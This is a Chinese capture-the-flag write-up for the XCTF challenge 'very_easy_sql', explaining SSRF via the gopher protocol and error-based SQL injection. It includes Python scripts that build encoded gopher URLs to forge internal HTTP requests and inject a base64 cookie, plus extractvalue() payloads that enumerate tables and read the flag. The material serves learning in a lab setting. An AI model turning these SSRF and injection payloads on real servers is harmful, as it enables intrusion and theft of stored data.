web8-very_easy_sql(sql注入+ssrf漏洞)

一.题目链接:

https://adworld.xctf.org.cn/challenges/list

二.思路分析

在此,我们通过各种sql命令对其测试,发现没用。sqlmap也不行,因为后续说到要用gophoer协议解题,sqlmap不支持

#输入下面命令如果报错就存在sql注入
1'
1'' #尝试双引号闭合

#若不报错,则是布尔盲注,试以下命令
1' and 1=1 or '
1' and 1=1 or ''

1.一打开是个登录界面,查尝试用burp抓包试试看,发现有use.php文件,查看该文件


2.返回的是一个url的提交界面,联系到ssxf攻击

三.基础知识  

3.1 ssrf攻击

  • ssrf攻击:服务器端伪造请求,是一种由攻击者构造形成由服务器端发起请求的一个安全漏洞。一般情况下,ssrf是要目标网站的内部系统。它可以攻击外网无法访问的内部系统。简单说就是构造恶意的playload获取内部资料。
  • ssrf漏洞的利用
      1.可以对外网,服务器所在内网,本地端口扫描,获取一些服务的banner消息
      2.攻击运行在内网或本地的应用程序(比如溢出)
      3.对外网web应用进行指纹识别,通过访问默认文件实现
      4.攻击内外网的web应用,主要是使用get参数实现攻击
      5.利用file协议读取本地文件等
      6.各个协议调用探针:http,file,dict,gopher
    这里使用第六个里面的gopher协议
  • 产生ssrf漏洞的函数
      1.file_get_contents
      2.fsockopen()

3.2.gopher协议简介

  • gopher简介
  • 概念:和http类似,以传输纯文本和二进制为主,默认端口70
  • url格式:gopher://<host>:<port>/<gopher-path>
  • url参数解释:
      <host>:目标服务器地址(ip或域名)
      <port>:默认70,可以修改
      <gopher-path>:指要访问的资源路径
  • 现代用途:虽然不再广泛使用,但还是有一定的存在意义
       1.ssrf伪造攻击:由于gopher可以构造任意TCP 请求,可以用来攻击内网服务
       2.访问遗留的gopher服务器:有人怀旧会使用
       3.绕过某些网路限制:在特殊环境下,gopher可能被准许,而http被封锁

3.3.时间盲注

  • 概念:是一种SQL注入的攻击方式,在这种攻击中,攻击者通过观察应用程序的响应时间来推测数据中的数据。与盲注不同,它适用于网站没有直接回显数据,但能通过时间延迟判断SQL语句是否执行成功。

3.4.利用 extractvalue()函数报错注入,而他后面一般附带0x7e,代表~,起到分割与错误可见作用

  • 概念:这是mysql的xml处理函数,通过语法报错,会报错以及显示xpath表达式内容
  • 语法:extractvalue(xml_document,xpath_string)
  • 参数解释:
      参数1: string格式,如果为数字,会隐式转换为字符串
      参数2: xpath_string(x_path格式的字符串),为xml文档的路径
      注意:参数一必须要合法,如果输入的是~,也会触发报错,也会返回你想要的内容,如:extractvalue(~,'2')
  • 实例:
      admin') and extractvalue(1, concat(0x7e, (select database()),0x7e))
      类似于id=1' and 1=1,只不过这里注入点为admin'),concat()让其在一行显示,0x7e让显示结果更清晰

四.开始解题

1.进入是个登录界面,登不进去,我们先查看源码看看,发现存在use.php文件

2.于是我们进到这个界面发现是url登录,联系到ssrf攻击

3.我们构造一个gopher协议,发送到burp抓包的首行url=后面去,小白从啃别人的代码开始

#这段代码构造了一个通过Gopher协议发送post请求的URL,主要用于测试SSRF(服务端请求伪造)漏洞。

import urllib.parse                                        #用于URL编码,解码
#疑问点:,为什么要url解码呢?
#Gopher是一种早期文本协议,通过单行文本发送请求,它的url不支持直接包含有空格,%,#等符号,因此需要编码

host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)

test =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*

Content-Type: application/x-www-form-urlencoded
#它的作用在于告诉服务器请求体中的数据是如何被编码的,确保所有HTTP客户端/服务端使用统一的编码标准 
#安全性在于明确数据格式可防止注入攻击
        
Content-Length: {}                                 #自动计算长度

{}
""".format(host,content_length,content)
//按照标准,URL只允许一部分ASCII字符,其他字符(如汉字)是不符合标准的,此时就要进行编码。
因为我在构造URL的过程中要使用到中文:此时需要用到urllib.parse.quote,此处是为了替换特殊字符\
tmp = urllib.parse.quote(test)                           #第一次编码,将特殊字符转为%格式
new = tmp.replace("%0A","%0D%0A")                        #换行符替换,HTTP要求CRLF结束,不是单纯LF
result = urllib.parse.quote(new)                         #第二次编码,确保不会有%类似的符号没被编码
print("gopher://"+host+"/_"+result)                      #构造Gopher url格式


从图片上可以看出,我们得到了一个登录cookie,先url解码再base64解码,就可得到答案:admin
4.尝试cookie注入

#导入必要的库
import urllib.parse             #用于url编码
import base64                   #用于base64编码
import requests                 #用于发送http请求

host = "127.0.0.1:80"           #目标主机地址和端口
payload = "admin'"              #基础的sql注入测试playload,尝试用'破坏原有的结构

#构造恶意cookie
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
#将playload进行base64编码
cookie="this_is_your_cookie=" + base64_payload

#构造原始http请求
#完整http get请求模板为:
#请求头:GET /index.php HTTP/1.1
#Host头
#Connection头(关闭连接)
#Content-Type头
#Cookie头(包含我们的恶意playload)

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)         #第一次url编码,将整个请求转换为url安全格式
new = tmp.replace("%0A","%0D%0A")      #将LF换行符替换为CRLF,替换行符确保符合HTTP标准
result = urllib.parse.quote(new)       #第二次url编码,第二次编码确保整个字符串可以作为URL参数传递

#构造Gopher协议,它可用于发送整体TCP请求,这里构造的URL将发送我们设计的HTTP请求
gopher = "gopher://"+host+"/_"+result  

print(gopher)

#发送攻击请求
url = 'http://61.147.171.105:49851/use.php?url=' + gopher      #将gopher url作为参数传递给目标服务器的use.php
res = requests.get(url)                                        #服务器会处理这个url并执行我们的请求
print(res.text)                                                #打印服务器响应,用于观察注入是否成功

发现存在')注入点

5.构建playload

查数据库:admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) # 得到结果为

查表:admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #

查flag字段:
admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #

查flag字段的值:
admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #


注意:这里的错误回显最多能到31位,需要用到substr进行分割读取后面的数据

admin') and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),32),0x7e)) 
# (意思是从第32位开始截取)结果为:

五.思路总结

通过python生成gopher脚本 -->
通过url得到cookie为admin -->
继续在python上尝试注入点是什么,通过尝试admin'得到为admin') -->
继续用python脚本,通过extractvalue()函数报错注入得到数据库,表,字段名以及flag字段值

本wp参考:https://zhile.in/blog/CTF/WEB/very_easy_sql

posted @ 2025-04-10 17:26  sun010  阅读(107)  评论(0)    收藏  举报